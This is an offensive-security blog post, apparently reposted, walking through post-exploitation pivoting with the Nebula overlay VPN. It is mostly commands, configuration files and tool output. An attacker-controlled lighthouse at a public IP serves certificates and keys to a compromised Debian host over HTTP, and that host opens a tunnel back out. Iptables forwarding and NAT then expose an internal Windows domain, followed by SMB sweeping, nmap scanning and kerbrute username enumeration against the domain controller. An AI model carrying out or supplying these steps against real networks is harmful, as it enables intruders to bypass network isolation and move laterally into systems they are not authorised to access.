9 Sep 2024
sysbraykr.com - news
Intro
Pivoting (from the word pivot) - is a phenomenon in which a specific post-exploitation process occurs in which the attacker expands his presence in the network. The attacker during this phase bypasses network isolation, FW, NAT, and other network interference. There is no such thing as which pivoting method is best, it is a case-by-case basis. In the context of this article we will talk about such a solution Nebula VPN.
Nebula Intro
Nebula VPN is a virtual private network (VPN) solution developed by Slack. It is a VPN protocol with peer-to-peer routing that enables secure data transfer over the network between different hosts, regardless of their location. Nebula combines the principles of peer-to-peer networks and VPNs, making it particularly suitable for complex network infrastructures and distributed systems.
Nebula official site
Nebula Features
Peer-to-peer connections: Nodes in the Nebula network communicate directly with each other without the need for central servers, which reduces latency and improves network resiliency;
Flexible configuration: Nebula supports automatic node discovery, dynamic routing and adaptation to changing network conditions, which simplifies the management of distributed networks;
Ease of Use: Nebula is easy to configure and deploy on both small and large networks. Its documentation on GitHub and active community support make it accessible to both experienced network engineers and beginners;
Security: Nebula utilizes Wireguard encryption to protect data in transit, making it a secure solution for handling sensitive information. Nebula also supports lighthouse capabilities for managing connections between nodes.
Nebula Benefits
Scalability: Nebula allows you to build networks with thousands of nodes, making it ideal for large companies or distributed teams;
Passability through NATs and firewalls: It automatically configures to route connections through complex network environments such as NATs and firewalls, making pentesting easier;
Open Source: It is a free and open source solution, which means it can be customized to meet any user's needs and tested for security.
Nebula Disadvantages
Lack of a centralized management interface: Unlike some other VPN solutions, Nebula does not have a single graphical interface for network management. All operations are performed through the command line or through configuration files;
Difficulties when first setting up: Despite its relative simplicity, it may take time for beginners to learn all the features and functions of Nebula.
How is Nebula working?
Nebula uses controllers (lighthouses) to facilitate connections between nodes that can be deployed worldwide. The controllers act as connection points, store information about the location of all nodes, and help them establish direct links if possible. If a direct connection between nodes is not possible, they go through controllers to communicate. Nebula also supports the ability to use multiple controllers to provide fault tolerance and load balance in the network.
Nebula vs. ZeroTier
Nebula and ZeroTier are both virtual private network (VPN) solutions, but there are a number of key differences between them that define their use in different scenarios:
Connection Model:
Nebula uses a peer-to-peer model, relying on lighthouse nodes to manage connections. This makes it suitable for distributed networks with many nodes where routing flexibility is important;
ZeroTier, on the other hand, offers centralized network management using a software controller that acts as a dispatcher for network connections. It is more oriented towards networks with fixed infrastructure.
Routing Approach:
Nebula allows each node to communicate directly with other nodes and has built-in support for complex routing and NAT traversal, making it ideal for complex and changing networks;
ZeroTier uses IP-level routing, resembling the operation of a classic VPN, but with the addition of intelligent management and dynamic node discovery.
Use and scenarios:
Nebula is best suited for scenarios where high scalability, configuration flexibility and support for complex network topologies are required, as in enterprise environments or pentests;
ZeroTier is more commonly used when you need to quickly deploy a VPN for remote working, gaming, or accessing distributed resources with minimal configuration effort.
In summary, Nebula focuses on high flexibility, security and management of distributed networks, while ZeroTier offers simplified management with an emphasis on usability and centralized control.
Nebula Outro
After compromising a host on the target network, a pentester can use Nebula to create a secure communication channel between the compromised host and its own infrastructure. This tunnel allows access to internal network segments that were previously inaccessible due to network isolation or firewall restrictions (FW, NAT)
Infrastructure
In this context of pivoting, the attacker will act as a Lighthouse controller to which the compromised machine will make connections. Since Nebula is an overlay network, this post-exploitation vector can evolve both from the Internet and within the infrastructure. The compromised machine itself will make the connection to the Lighthouse controller, i.e. the attacker's machine.
I will demonstrate a scenario in which the attacker has already compromised a machine inside some infrastructure that has two interfaces. Using the Nebula overlay network, the attacker will gain access to the network behind the second interface. The network layout for this scenario is as follows:
Network Map, Part I
MachineOperating SystemAttackerUbuntu 24.04 LTSVictimDebian 12ADWindows Server 2022RB7Windows 10 EnterpriseRB8Windows 10 EnterpriseRB9Windows 10 Enterprise
MachineAddressAttacker89.169.135.43:4242 (Listening port of lighthouse controller)Victim (eth0)192.168.0.40/24Victim (eth1)172.16.150.225/24AD172.16.150.222/24RB7172.16.150.223/24RB8172.16.150.221/24RB9172.16.150.224/24
Network Map, Part II
Creating the Nebula Network
It is necessary to create a Nebula network in order to implement this method of pivoting. First, you need to configure a Lighthouse server, which will be located on the side of the attacking machine:
caster@caster:~/violence$ wget https://github.com/slackhq/nebula/releases/download/v1.8.2/nebula-linux-amd64.tar.gz caster@caster:~/violence$ gunzip nebula-linux-amd64.tar.gz caster@caster:~/violence$ tar xf nebula-linux-amd64.tar
After downloading Nebula and unzipping the archive, two executable files will appear:
caster@caster:~/violence$ ls -l total 23316 -rwxr-xr-x 1 caster caster 16991065 Jun 6 17:20 nebula -rwxr-xr-x 1 caster caster 6878099 Jun 6 17:20 nebula-cert
Establishment of a certification and certificate center
Nebula uses certificate authorities to identify clients on the network. Therefore, the first step is to create a certificate authority:
caster@caster:~/violence$ ./nebula-cert ca -name "Violence"
View the contents of ca.crt
:
caster@caster:~/violence$ ./nebula-cert print -path ca.crt NebulaCertificate { Details { Name: Violence Ips: [] Subnets: [] Groups: [] Not before: 2024-09-07 11:13:25 +0000 UTC Not After: 2025-09-07 11:13:25 +0000 UTC Is CA: true Issuer: Public key: f6cd50873ae6c6320ccbdba6cfe1f71880d34c0a18b4961d96ad9264e4afcbf3 Curve: CURVE25519 } Fingerprint: 54b07594d81250238a9724e1bead9ca7275c79cb76bab3439d9a5b44bd2e1229 Signature: 96d6339a3bb026bbdb840755e152ecf8ad1cbdde2371cb7c0de7de4bc7afeebb3fad6a7fd247c93bf1dfc1c7c22adcb8b9a782d987a7a2e7b01b03641fd20704 }
After creating the certificate authority, we need to create a client for the attacking machine. Also during the generation it will be necessary to specify the IP address for the internal Nebula network, let's take the range 192.168.100.0/24
This is accomplished with the following command:
caster@caster:~/violence$ ./nebula-cert sign -name "caster" -ip "192.168.100.1/24"
For the attacker in the context of Nebula's internal network, I chose the address
192.168.100.1
The contents of the attacker's host certificate caster.crt
:
NebulaCertificate { Details { Name: caster Ips: [ 192.168.100.1/24 ] Subnets: [] Groups: [] Not before: 2024-09-07 11:15:02 +0000 UTC Not After: 2025-09-07 11:13:24 +0000 UTC Is CA: false Issuer: 54b07594d81250238a9724e1bead9ca7275c79cb76bab3439d9a5b44bd2e1229 Public key: d49862643e315fe75a7fb301acbcd43361df7186446725b4e6b2d8ee1b399329 Curve: CURVE25519 } Fingerprint: 76f376b4da80a76242e6ea7962ef0a159ac9686d1fbe4f2b4ea11ba1b30fb880 Signature: 178f0e2bd41862bf9888bfc00a2d51386f72c4dcb89d9d3d9d195a420c4e85b9c51abde3e914a49862764e8f33b2ec16e5ae600f42daa6219a1c31d1aabd3c0e }
YAML Configuration for the Attacker (Lighthouse Server)
After creating the certificates you need to prepare the config.yml
file, this is a special configuration file that will manage the controller. The configuration file template can be downloaded from the official Nebula repository:
caster@caster:~/violence$ curl -o config.yml https://raw.githubusercontent.com/slackhq/nebula/master/examples/config.yml
PKI (Public Key Infrastructure)
This section specifies the paths to the certificates and keys that are required for Nebula to work:
pki: ca: ca.crt cert: caster.crt key: caster.key
ca: Path to the certificate authority (CA) certificate that is used to sign client certificates;
cert: Path to the attacking host certificate;
key: Path to the private key of the attacking host.
static_host_map
This section specifies static IP addresses and ports for Lighthouse nodes. These nodes can be located on any network and Nebula will use them to establish tunnels:
static_host_map: "192.168.100.1": ["89.169.135.43:4242"]
192.168.100.1: Nebula's internal IP address for the attacker (Lighthouse);
89.169.135.43:4242: External IP address and port to connect to for tunneling.
lighthouse
Configuration of the Lighthouse server that will serve the Nebula nodes:
lighthouse: am_lighthouse: true interval: 60 hosts: []
am_lighthouse: Enables Lighthouse mode. Here it is configured as
true
since this node will be the Lighthouse server;interval: The interval at which the node will update its state;
hosts: A list of Lighthouse nodes to connect to. This field is left blank for the attacker.
listen
Settings for the port on which the Lighthouse server will listen for connections:
listen: host: 0.0.0.0 port: 4242
host: The host on which traffic will be listened to. In this case, this is any interface;
port: The port that is used for connections. In this case it is port 4242.
punchy
This section is responsible for the mechanism to bypass NAT by “punching” connections:
punchy: punch: true respond: true
tun
Nebula virtual network interface configuration:
tun: dev: nebula1 mtu: 1300 unsafe_routes: - route: 172.16.150.0/24 via: 192.168.100.100
dev: Nebula virtual interface name, here it is
nebula1
;mtu: Maximum Transmission Unit (MTU). 1300 is the default value for VPN tunnels;
unsafe_routes: Routes through which Nebula traffic will be sent to the
172.16.150.0/24
subnet through the client node.
firewall
Firewall settings to control inbound and outbound traffic:
firewall: outbound_action: drop inbound_action: drop outbound: - port: any proto: any host: any inbound: - port: any proto: icmp host: any
outbound_action: Denies outbound traffic by default;
inbound_action: Denies inbound traffic by default;
outbound/inbound: Rules that allow specific types of traffic. In this case, any outbound traffic and inbound ICMP (ping) traffic is allowed.
YAML Configuration for client (Compromised host)
You need to configure the compromised host to connect to the Lighthouse server of the attacking machine. First, a certificate must be created for the client:
caster@caster:~/violence$ ./nebula-cert sign -name "victim" -ip "192.168.100.100/24" -subnets "172.16.150.0/24"
For a compromised machine inside the Nebula network, the address will be
192.168.100.100/24
NebulaCertificate { Details { Name: victim Ips: [ 192.168.100.100/24 ] Subnets: [ 172.16.150.0/24 ] Groups: [] Not before: 2024-09-07 11:26:12 +0000 UTC Not After: 2025-09-07 11:13:24 +0000 UTC Is CA: false Issuer: 54b07594d81250238a9724e1bead9ca7275c79cb76bab3439d9a5b44bd2e1229 Public key: c3811d9341e955c4a16e734d04d057257efb3ce22e96931de27b1c3365e8a717 Curve: CURVE25519 } Fingerprint: d452cdf18cf270a75d5505f3140d0faca3a2118b0194244d91d8faf2e6e067d6 Signature: cf6186a6c0593d4c8d386ceb60103a6aabc5faa515ba43b406962a3539f9e440ae30987089312658c8f199dde7792fe43a97a4b5bb3c15dba8425fe6fe3bc105 }
And there's an important point here - the -subnets
argument:
-subnets "172.16.150.0/24"
Examining the interfaces on the compromised machine, we see that the second interface eth1
has the address 172.16.150.225
from the 172.16.150.0/24
range:
@compromised:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.40 netmask 255.255.255.0 broadcast 192.168.0.255 inet6 fe80::20c:29ff:feed:82f7 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:ed:82:f7 txqueuelen 1000 (Ethernet) RX packets 273 bytes 78916 (77.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 143 bytes 17241 (16.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.16.150.225 netmask 255.255.255.0 broadcast 172.16.150.255 ether 00:0c:29:ed:82:01 txqueuelen 1000 (Ethernet) RX packets 6 bytes 965 (965.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 14 bytes 1701 (1.6 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 1563 bytes 94959 (92.7 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1563 bytes 94959 (92.7 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
The 172.16.150.0/24
subnet behind the eth1
interface may contain other important resources such as domain controllers, workstations, and other critical services. It is in the attacker's interest to use the compromised host to access these resources behind the subnet. In the context of Nebula, the -subnets
parameter allows information about additional routes available through this host to be passed to other hosts in the Nebula network, allowing the attacker to gain access to internal resources.
Thus, with Nebula, you can create a link to the 172.16.150.0/24
subnet, using the compromised machine as an intermediate link.
The generated certificates and keys need to be transferred to the compromised host. For this purpose, I started a simple HTTP server on the attacking host with the ability to download files from there:
caster@caster:~/violence$ sudo python3 -m http.server 80
@compromised:~# wget http://89.169.135.43/ca.crt --2024-09-07 16:29:28-- http://89.169.135.43/ca.crt Connecting to 89.169.135.43:80... connected. HTTP request sent, awaiting response... 200 OK Length: 239 [application/x-x509-ca-cert] Saving to: ‘ca.crt’ ca.crt 100%[=====================================================================================================================>] 239 --.-KB/s in 0s 2024-09-07 16:29:28 (113 MB/s) - ‘ca.crt’ saved [239/239] @compromised:~# wget http://89.169.135.43/victim.crt --2024-09-07 16:29:32-- http://89.169.135.43/victim.crt Connecting to 89.169.135.43:80... connected. HTTP request sent, awaiting response... 200 OK Length: 312 [application/x-x509-ca-cert] Saving to: ‘victim.crt’ victim.crt 100%[=====================================================================================================================>] 312 --.-KB/s in 0s 2024-09-07 16:29:32 (109 MB/s) - ‘victim.crt’ saved [312/312] @compromised:~# wget http://89.169.135.43/victim.key --2024-09-07 16:29:34-- http://89.169.135.43/victim.key Connecting to 89.169.135.43:80... connected. HTTP request sent, awaiting response... 200 OK Length: 127 [application/pgp-keys] Saving to: ‘victim.key’ victim.key 100%[=====================================================================================================================>] 127 --.-KB/s in 0s 2024-09-07 16:29:34 (55.6 MB/s) - ‘victim.key’ saved [127/127]
Just as with an attacker needs to download Nebula to a compromised host:
@compromised:~# wget https://github.com/slackhq/nebula/releases/download/v1.8.2/nebula-linux-amd64.tar.gz @compromised:~# gunzip nebula-linux-amd64.tar.gz @compromised:~# tar xf nebula-linux-amd64.tar
Now you need to prepare config.yml
for the compromised machine:
PKI (Public Key Infrastructure)
In the same way as for the attacker, paths to certificates and keys are specified:
pki: ca: ca.crt cert: victim.crt key: victim.key
static_host_map
This specifies the IP address of the attacker to which the client will connect:
static_host_map: "192.168.100.1": ["89.169.135.43:4242"]
192.168.100.1: Internal Nebula attacker (Lighthouse) IP address;
89.169.135.43:4242: External attacker's IP address and port.
lighthouse
The client needs to know which Lighthouse server to connect to:
lighthouse: am_lighthouse: false interval: 60 hosts: - "192.168.100.1"
am_lighthouse: Disabled since the client is not a Lighthouse server;
hosts: This field specifies the IP address of the attacker (Lighthouse) to which the client will connect.
listen
Configuring Connection Listening:
listen: host: 0.0.0.0 port: 0
punchy
Just like on the attacking host, “piercing” connections are enabled to bypass NAT:
punchy: punch: true respond: true
firewall
The firewall on the client is configured to allow all outgoing and incoming traffic:
outbound_action: allow
outbound_action: allow
By default, all outgoing traffic from this node will be allowed. If a rule allows egress to specific ports or IP addresses, the node is free to send traffic to those ports or IP addresses.
inbound_action: allow
inbound_action: allow
By default, all incoming traffic to this node will be allowed. The node will accept any incoming connections as long as it does not contradict other rules in the firewall.
conntrack
conntrack: tcp_timeout: 12m udp_timeout: 3m default_timeout: 10m
tcp_timeout: The time for which a TCP connection will be considered active if there are no new packets. In this case it is 12 minutes;
udp_timeout: The time for which a UDP connection will be considered active. This is usually less for UDP, since it is a connection without state. 3 minutes is specified here;
default_timeout: Timeout for other connection types, unless specific timeouts are specified. Here it is 10 minutes.
outbound
outbound: - port: any proto: any host: any
This rule allows any outgoing traffic for all ports, protocols, and hosts:
port: any: Indicates that any port can be used;
proto: any: Indicates that any protocols (TCP, UDP, ICMP, and others) are allowed;
host: any: Indicates that connection to any host is allowed;
inbound
Allow TCP:
inbound: - port: any proto: tcp host: any
port: any: Any port is allowed for incoming TCP connections;
proto: tcp: Indicates that the rule is applicable to the TCP protocol;
host: any: This rule allows traffic from any host.
Allow UDP:
- port: any proto: udp host: any
port: any: Any port is allowed for incoming UDP connections;
proto: udp: Indicates that the rule is applicable to the UDP protocol;
host: any: Allows UDP traffic from any host.
Allow ICMP (Ping, PMTUD):
- port: any proto: icmp host: any
port: any: Any port is allowed for incoming ICMP connections;
proto: icmp: Indicates that the rule is applicable to ICMP. This is the protocol used for utilities such as
ping
;host: any: ICMP traffic is allowed from any host.
Outro
This concludes the .yml
file configurations for both sides. Now you need to configure routing and start Nebula.
Starting Nebula
When Nebula starts up, it creates a special virtual network interface on each node that is integrated into the operating system like a normal network interface. This interface is called a `tun' (tunnel) and is used to send encrypted traffic between nodes within the Nebula overlay network. The creation of these virtual interfaces is an important step because they are used to route all traffic that passes through the VPN.
Attacker Side
Running Nebula on the attacker side using config.yml
:
caster@caster:~/violence$ sudo ./nebula -config config.yml
Launching Nebula
INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: localIp: proto:0 startPort:0]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: localIp: proto:1 startPort:0]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:443 groups:[laptop home] host: ip: localIp: proto:6 startPort:443]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:8080 groups:[remote_client] host: ip: localIp:192.168.100.0/24 proto:6 startPort:8080]" INFO[0000] Firewall started firewallHashes="SHA:f966180709c7d241fc2201ff3ff6a775f67924fcca8c08b95393b66445b600cc,FNV:896195335" INFO[0000] listening "0.0.0.0" 4242 INFO[0000] Main HostMap created network=192.168.100.1/24 preferredRanges="[]" INFO[0000] punchy enabled WARN[0000] lighthouse.am_lighthouse enabled on node but upstream lighthouses exist in config INFO[0000] Loaded send_recv_error config sendRecvError=always INFO[0000] Nebula interface is active boringcrypto=false build=1.9.3 interface=nebula1 network=192.168.100.1/24 udpAddr="0.0.0.0:4242" INFO[0000] Added route route=172.16.150.0/24
Starting Lighthouse
Created interface on the attacking system:
11: nebula1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc pfifo_fast state UNKNOWN group default qlen 500 link/none inet 192.168.100.1/24 scope global nebula1 valid_lft forever preferred_lft forever inet6 fe80::4033:55ec:6ea3:9a8e/64 scope link stable-privacy valid_lft forever preferred_lft forever
Attacker Interface (Nebula)
Victim Side
Running Nebula on the side of the compromised machine using config.yml
:
@compromised:~# ./nebula -config config.yml
Launching Nebula
WARN[0000] invalid firewall.inbound_action, defaulting to `drop` action=allow WARN[0000] invalid firewall.outbound_action, defaulting to `drop` action=allow INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: localIp: proto:0 startPort:0]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: localIp: proto:6 startPort:0]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: localIp: proto:17 startPort:0]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: localIp: proto:1 startPort:0]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:443 groups:[laptop home] host: ip: localIp: proto:6 startPort:443]" INFO[0000] Firewall rule added firewallRule="map[caName: caSha: direction:incoming endPort:8080 groups:[remote_client] host: ip: localIp:192.168.100.0/24 proto:6 startPort:8080]" INFO[0000] Firewall started firewallHashes="SHA:474fffbb60f3d858149aaf6fff3b03c830a909e7a4704ede85cc8e80c7134f16,FNV:1545328697" INFO[0000] listening "0.0.0.0" 0 INFO[0000] Main HostMap created network=192.168.100.100/24 preferredRanges="[]" INFO[0000] punchy enabled INFO[0000] Loaded send_recv_error config sendRecvError=always INFO[0000] Nebula interface is active boringcrypto=false build=1.8.2 interface=nebula1 network=192.168.100.100/24 udpAddr="0.0.0.0:57112" INFO[0000] Handshake message sent handshake="map[stage:1 style:ix_psk0]" initiatorIndex=2533604161 localIndex=2533604161 remoteIndex=0 udpAddrs="[89.169.135.43:4242]" vpnIp=192.168.100.1 INFO[0000] Handshake message received certName=caster durationNs=91108359 fingerprint=76f376b4da80a76242e6ea7962ef0a159ac9686d1fbe4f2b4ea11ba1b30fb880 handshake="map[stage:2 style:ix_psk0]" initiatorIndex=2533604161 issuer=54b07594d81250238a9724e1bead9ca7275c79cb76bab3439d9a5b44bd2e1229 remoteIndex=2533604161 responderIndex=2633247858 sentCachedPackets=1 udpAddr="89.169.135.43:4242" vpnIp=192.168.100.1
Result
Created interface in a compromised machine:
11: nebula1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc fq_codel state UNKNOWN group default qlen 500 link/none inet 192.168.100.100/24 scope global nebula1 valid_lft forever preferred_lft forever inet6 fe80::b6ed:5ccf:3031:2475/64 scope link stable-privacy valid_lft forever preferred_lft forever
Victim Interface (Nebula)
Connectivity Check
caster@caster:~/violence$ ping 192.168.100.100 PING 192.168.100.100 (192.168.100.100) 56(84) bytes of data. 64 bytes from 192.168.100.100: icmp_seq=1 ttl=64 time=89.4 ms 64 bytes from 192.168.100.100: icmp_seq=2 ttl=64 time=88.8 ms 64 bytes from 192.168.100.100: icmp_seq=3 ttl=64 time=88.0 ms 64 bytes from 192.168.100.100: icmp_seq=4 ttl=64 time=89.0 ms ^C --- 192.168.100.100 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 87.992/88.791/89.376/0.504 ms
From Attacker to Victim
@compromised:~# ping 192.168.100.1 PING 192.168.100.1 (192.168.100.1) 56(84) bytes of data. 64 bytes from 192.168.100.1: icmp_seq=1 ttl=64 time=91.6 ms 64 bytes from 192.168.100.1: icmp_seq=2 ttl=64 time=90.2 ms 64 bytes from 192.168.100.1: icmp_seq=3 ttl=64 time=88.9 ms 64 bytes from 192.168.100.1: icmp_seq=4 ttl=64 time=88.8 ms ^C --- 192.168.100.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3002ms rtt min/avg/max/mdev = 88.784/89.861/91.572/1.135 ms
From Victim to Attacker
Routing
Routing must be enabled on the compromised machine. This is disabled by default in Linux distributions:
@compromised:~# sysctl -w net.ipv4.ip_forward=1
Then firewall (iptables) settings are required:
Routing packets through Nebula with connection state checking:
iptables -A FORWARD -i eth1 -o nebula1 -m state --state RELATED,ESTABLISHED -j ACCEPT
This rule allows traffic to be forwarded from interface eth1
(the external interface of the host) to interface nebula1
(the virtual interface created by Nebula) for connections already established.
-A FORWARD
: Adds a rule for the forwarding table (FORWARD
), which is responsible for routing traffic between different interfaces;-i eth1 -o nebula1
: Specifies that this rule applies to traffic that comes from interfaceeth1
and must be forwarded to interfacenebula1
;-m state --state RELATED,ESTABLISHED
: This module monitors the state of connections. The rule allows only packets related to already established connections (e.g., responses to already initiated requests);-j ACCEPT
: Allows forwarding of packets that meet the specified conditions.
Allow traffic forwarding in the reverse direction:
iptables -A FORWARD -i nebula1 -o eth1 -j ACCEPT
This rule allows traffic to be forwarded in the reverse direction, from interface nebula1 to interface eth1. It allows all traffic through the Nebula tunnel back to the physical network.
-i nebula1
: Incoming traffic from virtual interface nebula1 (Nebula interface);-o eth1
: Traffic is forwarded to physical interface eth1;-j ACCEPT
: Allow packet forwarding.
This rule is necessary to allow two-way communication between the internal network and the Nebula network.
Masquerading (NAT)
iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -d 172.16.150.0/24 -j MASQUERADE
This rule is responsible for NAT (Network Address Translation) or traffic masquerading. It is used to replace the outgoing IP address from the 192.168.100.0/24 subnet (Nebula network) with the IP address of the host when transmitting packets to the 172.16.150.0/24 subnet (internal network). This is necessary for access to the internal network from the Nebula interfaces.
-t nat
: Indicates that this rule is applied in thenat
(address translation) table;-A POSTROUTING
: The rule is applied at the POSTROUTING stage, after the packet has been processed and is ready to be sent;-s 192.168.100.0/24
: Source traffic from the Nebula network (subnet 192.168.100.0/24);-d 172.16.150.0/24
: Traffic is routed to subnet 172.16.150.0/24 (internal network);-j MASQUERADE
: Maskarading (NAT) of outgoing traffic is performed. This is necessary to hide the original IP addresses of hosts on the Nebula network and make them available to devices on the internal network.
You must consider that the attacker will be behind NAT with this FW configuration
These settings will ensure that traffic is routed correctly between the internal network and the Nebula virtual network, which allows Nebula to be used for pivoting.
Impact
It's a good time to check out the impact of this pivoting.
NetExec
caster@caster:~/violence$ netexec smb 172.16.150.0/24
caster@caster:~/violence$ netexec smb 172.16.150.0/24 SMB 172.16.150.222 445 AD [*] Windows Server 2022 Build 20348 x64 (name:AD) (domain:f1.com) (signing:True) (SMBv1:False) SMB 172.16.150.223 445 RB7 [*] Windows 10 / Server 2019 Build 19041 (name:RB7) (domain:RB7) (signing:False) (SMBv1:False) SMB 172.16.150.224 445 RB9 [*] Windows 10 / Server 2019 Build 19041 (name:RB9) (domain:RB9) (signing:False) (SMBv1:False) SMB 172.16.150.221 445 RB8 [*] Windows 10 / Server 2019 Build 19041 (name:RB8) (domain:RB8) (signing:False) (SMBv1:False) Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Speaking of which, here's how traffic is encapsulated when communicating with 172.16.150.0/24
over the Nebula network:
Encapsulated
Encapsulation took place in UDP
Services Scanning
caster@caster:~$ sudo nmap -n -sS -p 22,445,88,3389 172.16.150.0/24 -oX violence --min-rate=800
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 13:26 UTC Nmap scan report for 172.16.150.1 Host is up (0.090s latency). PORT STATE SERVICE 22/tcp filtered ssh 88/tcp filtered kerberos-sec 445/tcp filtered microsoft-ds 3389/tcp filtered ms-wbt-server Nmap scan report for 172.16.150.221 Host is up (0.090s latency). PORT STATE SERVICE 22/tcp filtered ssh 88/tcp filtered kerberos-sec 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap scan report for 172.16.150.222 Host is up (0.090s latency). PORT STATE SERVICE 22/tcp filtered ssh 88/tcp open kerberos-sec 445/tcp open microsoft-ds 3389/tcp filtered ms-wbt-server Nmap scan report for 172.16.150.223 Host is up (0.091s latency). PORT STATE SERVICE 22/tcp filtered ssh 88/tcp filtered kerberos-sec 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap scan report for 172.16.150.224 Host is up (0.090s latency). PORT STATE SERVICE 22/tcp filtered ssh 88/tcp filtered kerberos-sec 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Nmap scan report for 172.16.150.225 Host is up (0.092s latency). PORT STATE SERVICE 22/tcp open ssh 88/tcp closed kerberos-sec 445/tcp closed microsoft-ds 3389/tcp closed ms-wbt-server Nmap done: 256 IP addresses (6 hosts up) scanned in 3.77 seconds
Kerberos Attacks (User Enumeration)
caster@caster:~$ ./kerbrute userenum --dc ad.f1.com -d f1.com kerusernames.txt
__ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 09/07/24 - Ronnie Flathers @ropnop 2024/09/07 13:30:39 > Using KDC(s): 2024/09/07 13:30:39 > ad.f1.com:88 2024/09/07 13:30:40 > [+] VALID USERNAME: brunosenna@f1.com 2024/09/07 13:30:40 > [+] VALID USERNAME: jamesalison@f1.com 2024/09/07 13:30:40 > [+] VALID USERNAME: robertkubica@f1.com 2024/09/07 13:30:40 > [+] VALID USERNAME: markwebber@f1.com 2024/09/07 13:30:40 > [+] VALID USERNAME: sebastianvettel@f1.com 2024/09/07 13:30:40 > Done! Tested 6 usernames (5 valid) in 0.274 seconds
Outro
In this article, I demonstrated the capabilities of Nebula in the context of a tool for use in pivoting. Due to its flexibility in routing, support for NAT traversal, and ease of configuration, it can effectively build tunnels between isolated network segments, giving the attacker full access to the internal infrastructure. The method is exotic, but has the right to be used in real-world conditions.
source : https://blog.exploit.org/caster-violence/